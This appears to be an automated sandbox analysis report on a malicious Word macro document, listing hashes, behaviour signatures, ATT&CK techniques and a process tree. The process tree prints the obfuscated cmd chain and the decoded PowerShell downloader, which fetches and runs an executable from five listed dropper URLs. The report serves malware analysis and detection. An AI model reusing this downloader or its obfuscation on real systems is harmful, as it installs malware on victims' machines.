e2fcea79cb0b574244caa83c6dedf0b2cf74a833d2e3906f1f9bea38b889e7a3

Analysis

max time kernel
139s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2024, 09:20

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General

Target
170046bada9ea5a4ac1bfbf0fbef7de3_JaffaCakes118.doc
Size 140KB
Sample240505-la2kbadf6y
SHA256 e2fcea79cb0b574244caa83c6dedf0b2cf74a833d2e3906f1f9bea38b889e7a3
MD5 170046bada9ea5a4ac1bfbf0fbef7de3
SHA1 d6fe1aa9de8abe12fa04008308227a625667b2b5
SHA512 01d1312b4eb4bbbb7038bd66531fcc02b5838080e603603a9eab59ccd75feb66cd8d234f173e448b1bfcc5adbbbf686eb88fa78fb030002e5269957c56e9cc1e
SSDEEP 1536:bd81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadugQ8UUaovoU+a9:bd8GhDS0o9zTGOZD6EbzCdugQ8/o
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://kliksys.com/yuZ6yAFq
exe.dropper
http://pancholopez.com/aG8qBiaxx
exe.dropper
http://madebyjoanne.com/5yb2ejvctt
exe.dropper
http://lacydesign.net/2hcDql44
exe.dropper
http://justcruising.com/homecontrol/images/wpThumbnails/vwVGYlSIH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1200	1524	cmd.exe	82

Blocklisted process makes network request 6 IoCs

flow	pid	Process
30	4304	powershell.exe
33	4304	powershell.exe
35	4304	powershell.exe
38	4304	powershell.exe
39	4304	powershell.exe
48	4304	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1524	WINWORD.EXE
1524	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4304	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1524	WINWORD.EXE
1524	WINWORD.EXE
1524	WINWORD.EXE
1524	WINWORD.EXE
1524	WINWORD.EXE
1524	WINWORD.EXE
1524	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 1076	1524	WINWORD.EXE	86
PID 1524 wrote to memory of 1076	1524	WINWORD.EXE	86
PID 1524 wrote to memory of 1200	1524	WINWORD.EXE	88
PID 1524 wrote to memory of 1200	1524	WINWORD.EXE	88
PID 1200 wrote to memory of 5040	1200	cmd.exe	90
PID 1200 wrote to memory of 5040	1200	cmd.exe	90
PID 5040 wrote to memory of 2980	5040	cmd.exe	97
PID 5040 wrote to memory of 2980	5040	cmd.exe	97
PID 5040 wrote to memory of 2812	5040	cmd.exe	98
PID 5040 wrote to memory of 2812	5040	cmd.exe	98
PID 2812 wrote to memory of 4304	2812	cmd.exe	99
PID 2812 wrote to memory of 4304	2812	cmd.exe	99

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\170046bada9ea5a4ac1bfbf0fbef7de3_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1076
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %pRogRaMdATa:~0,1%%prOGraMdATA:~9,2% /V:On /C " sET AP=;'378s'=811a$}}{hctac}};kaerb;'416I'=713D$;650T$ metI-ekovnI{ )00008 eg- htgnel.)650T$ metI-teG(( fI;'499O'=403E$;)650T$ ,554A$(eliFdaolnwoD.714o${yrt{)105C$ ni 554A$(hcaerof;'exe.'+846j$+'\'+pmet:vne$=650T$;'610Q'=557f$;'876' = 846j$;'316G'=988C$;)'@'(tilpS.'HISlYGVwv/slianbmuhTpw/segami/lortnocemoh/moc.gnisiurctsuj//:ptth@44lqDch2/ten.ngisedycal//:ptth@ttcvje2by5/moc.ennaojybedam//:ptth@xxaiBq8Ga/moc.zepolohcnap//:ptth@qFAy6Zuy/moc.syskilk//:ptth'=105C$;tneilCbeW.teN tcejbo-wen=714o$;'234w'=126j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& FOr /l %3 iN ( 554 -1 0)do SET 7ne=!7ne!!AP:~ %3, 1!&IF %3 == 0 ecHO !7ne:~5! | C%appdAtA:~-4,1%%sYSTeMrooT:~-4,-3% "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\cmd.exe
    CmD /V:On /C " sET AP=;'378s'=811a$}}{hctac}};kaerb;'416I'=713D$;650T$ metI-ekovnI{ )00008 eg- htgnel.)650T$ metI-teG(( fI;'499O'=403E$;)650T$ ,554A$(eliFdaolnwoD.714o${yrt{)105C$ ni 554A$(hcaerof;'exe.'+846j$+'\'+pmet:vne$=650T$;'610Q'=557f$;'876' = 846j$;'316G'=988C$;)'@'(tilpS.'HISlYGVwv/slianbmuhTpw/segami/lortnocemoh/moc.gnisiurctsuj//:ptth@44lqDch2/ten.ngisedycal//:ptth@ttcvje2by5/moc.ennaojybedam//:ptth@xxaiBq8Ga/moc.zepolohcnap//:ptth@qFAy6Zuy/moc.syskilk//:ptth'=105C$;tneilCbeW.teN tcejbo-wen=714o$;'234w'=126j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& FOr /l %3 iN ( 554 -1 0)do SET 7ne=!7ne!!AP:~ %3, 1!&IF %3 == 0 ecHO !7ne:~5! | Cmd "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ecHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $j621='w432';$o417=new-object Net.WebClient;$C501='http://kliksys.com/yuZ6yAFq@http://pancholopez.com/aG8qBiaxx@http://madebyjoanne.com/5yb2ejvctt@http://lacydesign.net/2hcDql44@http://justcruising.com/homecontrol/images/wpThumbnails/vwVGYlSIH'.Split('@');$C889='G613';$j648 = '678';$f755='Q016';$T056=$env:temp+'\'+$j648+'.exe';foreach($A455 in $C501){try{$o417.DownloadFile($A455, $T056);$E304='O994';If ((Get-Item $T056).length -ge 80000) {Invoke-Item $T056;$D317='I614';break;}}catch{}}$a118='s873'; "
      4⤵
      PID:2980
  - - C:\Windows\system32\cmd.exe
      Cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $j621='w432';$o417=new-object Net.WebClient;$C501='http://kliksys.com/yuZ6yAFq@http://pancholopez.com/aG8qBiaxx@http://madebyjoanne.com/5yb2ejvctt@http://lacydesign.net/2hcDql44@http://justcruising.com/homecontrol/images/wpThumbnails/vwVGYlSIH'.Split('@');$C889='G613';$j648 = '678';$f755='Q016';$T056=$env:temp+'\'+$j648+'.exe';foreach($A455 in $C501){try{$o417.DownloadFile($A455, $T056);$E304='O994';If ((Get-Item $T056).length -ge 80000) {Invoke-Item $T056;$D317='I614';break;}}catch{}}$a118='s873';
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

23D646BB.wmf

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\23D646BB.wmf
Size 506B
SHA256 1bf118b631494400eabb88e2adfe4a0617289194b25a9ee99b8efd15aec3c7a0
MD5 95ccb42086d7c468908287aeec315a7a
SHA1 5c647a470df194984bfe73864217ca229226bb82
SHA512 619b52702c9e18d480ef89fa73bf0b6a43c880d4641908af16b54b6a1724dc85a8c170150da02b6d5d65faf1db0a15564ea0145c080f3d972d651ebc157180c4
MD5 SHA1 SHA512

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sist02.xsl

Path C:\Users\Admin\AppData\Local\Temp\TCD8DBE.tmp\sist02.xsl
Size 245KB
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_nwxy1cp0.wcv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nwxy1cp0.wcv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1524-8-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-16-0x00007FFDD0AF0000-0x00007FFDD0B00000-memory.dmp

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memory/1524-6-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-4-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-0-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-7-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-9-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-10-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-11-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-14-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-15-0x00007FFDD0AF0000-0x00007FFDD0B00000-memory.dmp

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memory/1524-13-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-12-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-5-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-17-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-18-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-1-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-582-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-3-0x00007FFE1308D000-0x00007FFE1308E000-memory.dmp

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memory/1524-2-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-553-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

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memory/1524-579-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-580-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-578-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/1524-581-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

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memory/4304-59-0x00000214C84B0000-0x00000214C84D2000-memory.dmp

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